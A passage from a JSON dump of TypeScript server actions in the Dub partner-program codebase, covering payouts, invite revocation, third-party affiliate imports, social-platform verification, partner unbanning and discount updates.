new Error(\n          \"This payout is already being processed or has been sent. Please wait for it to complete.\",\n        );\n      }\n\n      return payout;\n    });\n\n    try {\n      await createPayPalBatchPayout({\n        invoiceId: `${updatedPayout.invoiceId}-${nanoid(7)}`,\n        payouts: [\n          {\n            id: updatedPayout.id,\n            amount: updatedPayout.amount,\n            program: updatedPayout.program,\n            partner: {\n              paypalEmail: partner.paypalEmail,\n            },\n          },\n        ],\n      });\n\n      // Update status to \"sent\" after successful PayPal batch creation\n      await prisma.payout.update({\n        where: {\n          id: updatedPayout.id,\n        },\n        data: {\n          status: \"sent\",\n        },\n      });\n    } catch (error) {\n      // If PayPal batch creation fails, revert status back to \"failed\" so payout can be retried\n      await prisma.payout.update({\n        where: {\n          id: updatedPayout.id,\n        },\n        data: {\n          status: \"failed\",\n        },\n      });\n\n      throw new Error(\n        \"Failed to retry payout. Please try again or contact support.\",\n      );\n    }\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/revoke-program-invite.ts",
    "content": "\"use server\";\n\nimport { ExpandedLink } from \"@/lib/api/links\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst revokeProgramInviteSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n});\n\nexport const revokeProgramInviteAction = authActionClient\n  .inputSchema(revokeProgramInviteSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { partnerId } = parsedInput;\n    const { workspace } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { links: partnerLinks, ...programEnrollment } =\n      await prisma.programEnrollment.findUniqueOrThrow({\n        where: {\n          partnerId_programId: {\n            partnerId,\n            programId,\n          },\n        },\n        include: {\n          links: {\n            include: {\n              ...includeTags,\n              // no need to includeProgramEnrollment because we're already fetching the programEnrollment\n              // so we can just polyfill below\n            },\n          },\n        },\n      });\n\n    if (programEnrollment.status !== \"invited\") {\n      throw new Error(\"Program invite not found.\");\n    }\n\n    // if some of the partner's links already have recorded leads, we can't revoke the invite\n    if (partnerLinks.some((link) => link.leads > 0)) {\n      throw new Error(\n        \"This partner already has a few recorded leads, so the invite is no longer reversible. Contact support if you need to revoke the invite.\",\n      );\n    }\n\n    const res = await prisma.$transaction(async (tx) => {\n      // delete partner's links\n      const deletedLinks = await tx.link.deleteMany({\n        where: {\n          id: { in: partnerLinks.map((link) => link.id) },\n        },\n      });\n\n      // delete program enrollment\n      const deletedProgramEnrollment = await tx.programEnrollment.delete({\n        where: { id: programEnrollment.id },\n      });\n\n      return {\n        deletedLinks,\n        deletedProgramEnrollment,\n      };\n    });\n\n    console.log(\"Deleted program enrollment\", res);\n\n    const deletedPartnerLinksToRecord: ExpandedLink[] = partnerLinks.map(\n      (link) => ({\n        ...link,\n        programEnrollment: { groupId: programEnrollment.groupId },\n      }),\n    );\n\n    waitUntil(\n      Promise.all([\n        // Expire the links from Redis\n        linkCache.expireMany(partnerLinks),\n\n        // Record the links deletion in Tinybird\n        recordLink(deletedPartnerLinksToRecord, { deleted: true }),\n\n        // Update totalLinks for the workspace\n        prisma.project.update({\n          where: { id: workspace.id },\n          data: {\n            totalLinks: { decrement: partnerLinks.length },\n          },\n        }),\n      ]),\n    );\n\n    return res;\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/save-invite-email-data.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { sanitizeMarkdown } from \"@/lib/partners/sanitize-markdown\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst saveInviteEmailDataSchema = z.object({\n  workspaceId: z.string(),\n  subject: z.string().trim().min(1).max(140),\n  title: z.string().trim().min(1).max(280),\n  body: z.string().trim().min(1).max(3000),\n});\n\nexport const saveInviteEmailDataAction = authActionClient\n  .inputSchema(saveInviteEmailDataSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { subject, title, body } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    // Sanitize emailBody before saving\n    const sanitizedBody = sanitizeMarkdown(body);\n\n    if (!sanitizedBody) {\n      throw new Error(\n        \"Email body contains invalid content. Please remove excessively long lines or unsupported characters.\",\n      );\n    }\n\n    await prisma.program.update({\n      where: {\n        id: programId,\n      },\n      data: {\n        inviteEmailData: {\n          subject: subject.trim(),\n          title: title.trim(),\n          body: sanitizedBody,\n        },\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/set-rewardful-token.ts",
    "content": "\"use server\";\n\nimport { RewardfulApi } from \"@/lib/rewardful/api\";\nimport { rewardfulImporter } from \"@/lib/rewardful/importer\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  token: z.string(),\n});\n\nexport const setRewardfulTokenAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { token } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const rewardfulApi = new RewardfulApi({ token });\n\n    try {\n      await rewardfulApi.listCampaigns();\n    } catch (error) {\n      console.error(error);\n      throw new Error(\"Invalid Rewardful token\");\n    }\n\n    await rewardfulImporter.setCredentials(workspace.id, {\n      token,\n    });\n\n    return {\n      maskedToken: token.slice(0, 3) + \"*\".repeat(token.length - 3),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/set-tolt-token.ts",
    "content": "\"use server\";\n\nimport { ToltApi } from \"@/lib/tolt/api\";\nimport { toltImporter } from \"@/lib/tolt/importer\";\nimport { ToltProgram } from \"@/lib/tolt/types\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  toltProgramId: z.string().trim().min(1),\n  token: z.string().trim().min(1),\n});\n\nexport const setToltTokenAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { token, toltProgramId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const toltApi = new ToltApi({ token });\n    let program: ToltProgram | undefined;\n\n    try {\n      program = await toltApi.getProgram({\n        programId: toltProgramId,\n      });\n    } catch (error) {\n      throw new Error(\n        error instanceof Error\n          ? error.message\n          : \"Invalid Tolt token or program ID.\",\n      );\n    }\n\n    await toltImporter.setCredentials(workspace.id, {\n      token,\n    });\n\n    return {\n      program,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/start-firstpromoter-import.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { FirstPromoterApi } from \"@/lib/firstpromoter/api\";\nimport { firstPromoterImporter } from \"@/lib/firstpromoter/importer\";\nimport { firstPromoterCredentialsSchema } from \"@/lib/firstpromoter/schemas\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = firstPromoterCredentialsSchema.extend({\n  workspaceId: z.string(),\n});\n\nexport const startFirstPromoterImportAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { apiKey, accountId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain) {\n      throw new Error(\"Program domain is not set.\");\n    }\n\n    if (!program.url) {\n      throw new Error(\"Program URL is not set.\");\n    }\n\n    const firstPromoterApi = new FirstPromoterApi({ apiKey, accountId });\n\n    try {\n      await firstPromoterApi.testConnection();\n    } catch (error) {\n      throw new Error(\n        error instanceof Error\n          ? error.message\n          : \"Invalid FirstPromoter credentials.\",\n      );\n    }\n\n    await firstPromoterImporter.setCredentials(workspace.id, {\n      apiKey,\n      accountId,\n    });\n\n    await firstPromoterImporter.queue({\n      importId: createId({ prefix: \"import_\" }),\n      action: \"import-campaigns\",\n      userId: user.id,\n      programId,\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/start-partner-platform-verification.ts",
    "content": "\"use server\";\n\nimport {\n  generateCodeChallengeHash,\n  generateCodeVerifier,\n} from \"@/lib/api/oauth/utils\";\nimport { PARTNER_PLATFORMS_PROVIDERS } from \"@/lib/api/partner-profile/partner-platforms-providers\";\nimport { upsertPartnerPlatform } from \"@/lib/api/partner-profile/upsert-partner-platform\";\nimport { generateOTP } from \"@/lib/auth/utils\";\nimport { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { isGenericEmail } from \"@/lib/is-generic-email\";\nimport {\n  sanitizeSocialHandle,\n  SOCIAL_PLATFORM_CONFIGS,\n} from \"@/lib/social-utils\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { ratelimit } from \"@/lib/upstash/ratelimit\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport {\n  getDomainWithoutWWW,\n  nanoid,\n  PARTNERS_DOMAIN_WITH_NGROK,\n} from \"@dub/utils\";\nimport { cookies } from \"next/headers\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst startPartnerPlatformVerificationSchema = z.object({\n  platform: z.enum(PlatformType),\n  handle: z.string().min(1).max(50),\n  source: z.enum([\"onboarding\", \"settings\"]).default(\"onboarding\"),\n});\n\ntype VerificationResult =\n  | { type: \"oauth\"; oauthUrl: string }\n  | { type: \"verification_code\"; verificationCode: string }\n  | { type: \"txt_record\"; websiteTxtRecord: string }\n  | { type: \"auto_verified\" };\n\ntype VerificationParams = {\n  partner: Pick<PartnerProps, \"id\" | \"email\">;\n  platform: PlatformType;\n  handle: string;\n  source: \"onboarding\" | \"settings\";\n};\n\n/**\n * Starts the social platform verification process for a partner.\n * Supports three verification methods:\n * - OAuth: For platforms like Twitter and TikTok (returns OAuth URL)\n * - Verification Code: For platforms like YouTube, Instagram, and LinkedIn (returns code to display)\n * - TXT Record: For website verification (returns DNS TXT record)\n */\nexport const startPartnerPlatformVerificationAction = authPartnerActionClient\n  .inputSchema(startPartnerPlatformVerificationSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner } = ctx;\n    const { platform, handle, source } = parsedInput;\n\n    // Rate limit check\n    const { success } = await ratelimit(5, \"1 h\").limit(\n      `social-verification:${partner.id}:${platform}`,\n    );\n\n    if (!success) {\n      throw new Error(\n        \"Too many verification attempts. Please try again later.\",\n      );\n    }\n\n    const params: VerificationParams = {\n      partner,\n      platform,\n      handle,\n      source,\n    };\n\n    // For website\n    if (platform === \"website\") {\n      return startWebsiteVerification(params);\n    }\n\n    // For OAuth based verification\n    const oauthProvider = PARTNER_PLATFORMS_PROVIDERS[platform];\n    if (oauthProvider) {\n      return startOAuthVerification(params);\n    }\n\n    // For code based verification\n    return startCodeVerification(params);\n  });\n\n// Start website verification using TXT record (or auto-verify if email domain matches)\nasync function startWebsiteVerification({\n  partner,\n  handle,\n}: Pick<VerificationParams, \"partner\" | \"handle\">): Promise<\n  | Extract<VerificationResult, { type: \"txt_record\" }>\n  | Extract<VerificationResult, { type: \"auto_verified\" }>\n> {\n  const websiteDomain = getDomainWithoutWWW(handle)?.toLowerCase();\n  const emailDomain = extractEmailDomain(partner.email!);\n\n  if (websiteDomain && emailDomain) {\n    const isDisposableEmailDomain = await redis.sismember(\n      \"disposableEmailDomains\",\n      emailDomain,\n    );\n    // Auto-verify if website if the partner's email domain:\n    // - is not a generic email domain\n    // - is not a disposable email domain\n    // - matches the website domain exactly\n    if (\n      !isGenericEmail(partner.email!) &&\n      !isDisposableEmailDomain &&\n      emailDomain === websiteDomain\n    ) {\n      await upsertPartnerPlatform({\n        where: {\n          partnerId: partner.id,\n          type: \"website\",\n        },\n        data: {\n          identifier: handle,\n          verifiedAt: new Date(),\n          metadata: {},\n        },\n      });\n      return { type: \"auto_verified\" };\n    }\n  }\n\n  const websiteTxtRecord = `dub-domain-verification=${uuid()}`;\n\n  await upsertPartnerPlatform({\n    where: {\n      partnerId: partner.id,\n      type: \"website\",\n    },\n    data: {\n      identifier: handle,\n      verifiedAt: null,\n      metadata: {\n        websiteTxtRecord,\n      },\n    },\n  });\n\n  return {\n    type: \"txt_record\",\n    websiteTxtRecord,\n  };\n}\n\n// Start OAuth verification for platforms Twitter, TikTok and LinkedIn\nasync function startOAuthVerification({\n  partner,\n  platform,\n  handle: rawHandle,\n  source,\n}: VerificationParams): Promise<\n  Extract<VerificationResult, { type: \"oauth\" }>\n> {\n  const oauthProvider = PARTNER_PLATFORMS_PROVIDERS[platform];\n  if (!oauthProvider || !oauthProvider.clientId) {\n    throw new Error(`OAuth provider not configured for ${platform}`);\n  }\n\n  const platformConfig = SOCIAL_PLATFORM_CONFIGS[platform];\n\n  if (!platformConfig) {\n    throw new Error(`Invalid platform: ${platform}`);\n  }\n\n  const handle = sanitizeSocialHandle(rawHandle, platform);\n\n  if (!handle) {\n    throw new Error(`Please enter a valid handle for ${platformConfig.name}.`);\n  }\n\n  // Store handle before OAuth redirect\n  await upsertPartnerPlatform({\n    where: {\n      partnerId: partner.id,\n      type: platform,\n    },\n    data: {\n      identifier: handle,\n      verifiedAt: null,\n    },\n  });\n\n  // Generate OAuth authorization URL\n  const state = nanoid(16);\n  await redis.set(\n    `partnerSocialVerification:${state}`,\n    {\n      platform,\n      partnerId: partner.id,\n      source,\n    },\n    {\n      ex: 5 * 60, // 5 minutes\n    },\n  );\n\n  const searchParams = new URLSearchParams({\n    [oauthProvider.clientIdParam ?? \"client_id\"]: oauthProvider.clientId,\n    redirect_uri: `${PARTNERS_DOMAIN_WITH_NGROK}/api/partners/platforms/callback`,\n    scope: oauthProvider.scopes,\n    response_type: \"code\",\n    state,\n  });\n\n  // Handle PKCE for platforms that require it (e.g., Twitter)\n  if (oauthProvider.pkce) {\n    const codeVerifier = generateCodeVerifier();\n    const codeChallenge = await generateCodeChallengeHash(codeVerifier);\n\n    // Store code verifier in cookie for callback\n    (await cookies()).set(\"online_presence_code_verifier\", codeVerifier, {\n      httpOnly: true,\n      secure: process.env.NODE_ENV === \"production\",\n      sameSite: \"lax\",\n      maxAge: 60 * 5, // 5 minutes\n    });\n\n    searchParams.set(\"code_challenge\", codeChallenge);\n    searchParams.set(\"code_challenge_method\", \"S256\");\n  }\n\n  const oauthUrl = `${oauthProvider.authUrl}?${searchParams.toString()}`;\n\n  return {\n    type: \"oauth\",\n    oauthUrl,\n  };\n}\n\n// Start verification code flow for platforms like YouTube, Instagram\nasync function startCodeVerification({\n  partner,\n  platform,\n  handle: rawHandle,\n}: Pick<VerificationParams, \"partner\" | \"platform\" | \"handle\">): Promise<\n  Extract<VerificationResult, { type: \"verification_code\" }>\n> {\n  const platformConfig = SOCIAL_PLATFORM_CONFIGS[platform];\n\n  if (!platformConfig) {\n    throw new Error(`Invalid platform: ${platform}`);\n  }\n\n  const handle = sanitizeSocialHandle(rawHandle, platform);\n\n  if (!handle) {\n    throw new Error(`Please enter a valid handle for ${platformConfig.name}.`);\n  }\n\n  const verificationCode = generateOTP();\n  const cacheKey = `social-verification:${partner.id}:${platform}:${handle}`;\n  await redis.set(cacheKey, verificationCode, {\n    ex: 60 * 60 * 24, // 24 hours\n  });\n\n  await upsertPartnerPlatform({\n    where: {\n      partnerId: partner.id,\n      type: platform,\n    },\n    data: {\n      identifier: handle,\n      verifiedAt: null,\n    },\n  });\n\n  return {\n    type: \"verification_code\",\n    verificationCode,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/start-partnerstack-import.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { PartnerStackApi } from \"@/lib/partnerstack/api\";\nimport { partnerStackImporter } from \"@/lib/partnerstack/importer\";\nimport { partnerStackCredentialsSchema } from \"@/lib/partnerstack/schemas\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = partnerStackCredentialsSchema.extend({\n  workspaceId: z.string(),\n});\n\nexport const startPartnerStackImportAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { publicKey, secretKey } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain) {\n      throw new Error(\"Program domain is not set.\");\n    }\n\n    if (!program.url) {\n      throw new Error(\"Program URL is not set.\");\n    }\n\n    const partnerStackApi = new PartnerStackApi({\n      publicKey,\n      secretKey,\n    });\n\n    await partnerStackApi.testConnection();\n\n    await partnerStackImporter.setCredentials(workspace.id, {\n      publicKey,\n      secretKey,\n    });\n\n    await partnerStackImporter.queue({\n      importId: createId({ prefix: \"import_\" }),\n      programId,\n      userId: user.id,\n      action: \"import-groups\",\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/start-rewardful-import.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { rewardfulImporter } from \"@/lib/rewardful/importer\";\nimport * as z from \"zod/v4\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  campaignIds: z\n    .array(z.string())\n    .describe(\"Rewardful campaign IDs to import.\"),\n});\n\nexport const startRewardfulImportAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { campaignIds } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain) {\n      throw new Error(\"Program domain is not set.\");\n    }\n\n    if (!program.url) {\n      throw new Error(\"Program URL is not set.\");\n    }\n\n    await rewardfulImporter.queue({\n      importId: createId({ prefix: \"import_\" }),\n      userId: user.id,\n      programId,\n      campaignIds,\n      action: \"import-campaigns\",\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/start-tolt-import.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { toltImporter } from \"@/lib/tolt/importer\";\nimport * as z from \"zod/v4\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  toltProgramId: z.string().trim().min(1),\n});\n\nexport const startToltImportAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { workspace, user } = ctx;\n    const { toltProgramId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    if (!program.domain) {\n      throw new Error(\"Program domain is not set.\");\n    }\n\n    if (!program.url) {\n      throw new Error(\"Program URL is not set.\");\n    }\n\n    const credentials = await toltImporter.getCredentials(workspace.id);\n\n    if (!credentials) {\n      throw new Error(\n        \"Tolt credentials not found. Please restart the import process.\",\n      );\n    }\n\n    await toltImporter.queue({\n      importId: createId({ prefix: \"import_\" }),\n      userId: user.id,\n      programId: program.id,\n      toltProgramId,\n      action: \"import-partners\",\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/trigger-aggregate-due-commissions.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK, prettyPrint } from \"@dub/utils\";\n\nexport async function triggerAggregateDueCommissionsCronJob(programId: string) {\n  const qstashResponse = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/aggregate-due-commissions`,\n    body: {\n      programId,\n    },\n  });\n  console.log(\n    `Triggered aggregate due commissions cron job for program ${programId}: ${prettyPrint(qstashResponse)}`,\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/unban-partner.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { banPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst unbanPartnerSchema = banPartnerSchema.omit({\n  reason: true,\n});\n\n// Unban a partner\nexport const unbanPartnerAction = authActionClient\n  .inputSchema(unbanPartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const where = {\n      programId,\n      partnerId,\n    };\n\n    const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n      where: {\n        partnerId_programId: where,\n      },\n      include: {\n        program: true,\n        partner: true,\n      },\n    });\n\n    if (programEnrollment.status !== \"banned\") {\n      throw new Error(\"This partner is not banned.\");\n    }\n\n    const partnerGroup = await getGroupOrThrow({\n      programId,\n      groupId:\n        programEnrollment.groupId || programEnrollment.program.defaultGroupId,\n    });\n\n    await prisma.$transaction([\n      prisma.link.updateMany({\n        where,\n        data: {\n          disabledAt: null,\n          expiresAt: null,\n        },\n      }),\n\n      prisma.programEnrollment.update({\n        where: {\n          partnerId_programId: where,\n        },\n        data: {\n          status: \"approved\",\n          bannedAt: null,\n          bannedReason: null,\n          clickRewardId: partnerGroup.clickRewardId,\n          leadRewardId: partnerGroup.leadRewardId,\n          saleRewardId: partnerGroup.saleRewardId,\n          discountId: partnerGroup.discountId,\n        },\n      }),\n\n      prisma.commission.updateMany({\n        where: {\n          ...where,\n          status: \"canceled\",\n        },\n        data: {\n          status: \"pending\",\n        },\n      }),\n\n      prisma.payout.updateMany({\n        where: {\n          ...where,\n          status: \"canceled\",\n        },\n        data: {\n          status: \"pending\",\n        },\n      }),\n\n      prisma.bountySubmission.updateMany({\n        where: {\n          ...where,\n          status: \"rejected\",\n        },\n        data: {\n          status: \"submitted\",\n        },\n      }),\n    ]);\n\n    waitUntil(\n      (async () => {\n        const links = await prisma.link.findMany({\n          where,\n          include: {\n            ...includeTags,\n            ...includeProgramEnrollment,\n          },\n        });\n\n        await Promise.allSettled([\n          // Expire links from cache\n          linkCache.expireMany(links),\n\n          // Update Tinybird links metadata\n          recordLink(links),\n\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"partner.unbanned\",\n            description: `Partner ${partnerId} unbanned`,\n            actor: user,\n            targets: [\n              {\n                type: \"partner\",\n                id: partnerId,\n                metadata: programEnrollment.partner,\n              },\n            ],\n          }),\n        ]);\n\n        await prisma.$transaction([\n          // Since we're unbanning the partner, we need to\n          // clean up any pending cross-program ban alerts that originated from this program.\n          prisma.fraudEvent.deleteMany({\n            where: {\n              partnerId,\n              sourceProgramId: programId,\n              fraudEventGroup: {\n                type: FraudRuleType.partnerCrossProgramBan,\n              },\n            },\n          }),\n\n          // Delete the fraud group if it has no more fraud events\n          prisma.fraudEventGroup.deleteMany({\n            where: {\n              partnerId,\n              type: FraudRuleType.partnerCrossProgramBan,\n              fraudEvents: {\n                none: {},\n              },\n            },\n          }),\n        ]);\n\n        // TODO\n        // Send email to partner about being unbanned\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-application-settings.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { applicationRequirementsSchema } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport { Category } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  description: z.string().optional(),\n  categories: z.array(z.enum(Category)).optional(),\n  eligibilityConditions: applicationRequirementsSchema.optional(),\n});\n\nexport const updateApplicationSettingsAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { description, categories, eligibilityConditions } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await prisma.program.update({\n      where: {\n        id: programId,\n      },\n      data: {\n        ...(description !== undefined && { description }),\n        ...(categories && {\n          categories: {\n            deleteMany: {},\n            create: categories.map((category) => ({ category })),\n          },\n        }),\n        ...(eligibilityConditions !== undefined && {\n          applicationRequirements: eligibilityConditions,\n        }),\n      },\n    });\n\n    return program;\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-discount.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getDiscountOrThrow } from \"@/lib/api/partners/get-discount-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { qstash } from \"@/lib/cron\";\nimport { updateDiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { revalidatePath } from \"next/cache\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nexport const updateDiscountAction = authActionClient\n  .inputSchema(updateDiscountSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { discountId, couponTestId, autoProvision } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const discount = await getDiscountOrThrow({\n      programId,\n      discountId,\n    });\n\n    const { program, partnerGroup, ...updatedDiscount } =\n      await prisma.discount.update({\n        where: {\n          id: discountId,\n        },\n        data: {\n          couponTestId: couponTestId || null,\n          ...(autoProvision !== undefined && {\n            autoProvisionEnabledAt: autoProvision\n              ? discount.autoProvisionEnabledAt ?? new Date()\n              : null,\n          }),\n        },\n        include: {\n          program: true,\n          partnerGroup: true,\n        },\n      });\n\n    waitUntil(\n      (async () => {\n        const shouldExpireCache =\n          discount.couponTestId !== updatedDiscount.couponTestId;\n\n        await Promise.allSettled([\n          ...(shouldExpireCache\n            ? [\n                qstash.publishJSON({\n                  url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/invalidate-for-discounts`,\n                  body: {\n                    groupId: partnerGroup?.id,\n                  },\n                }),\n\n                // we only cache default group pages for now so we need to invalidate them\n                ...(partnerGroup?.slug === DEFAULT_PARTNER_GROUP.slug\n                  ? [\n                      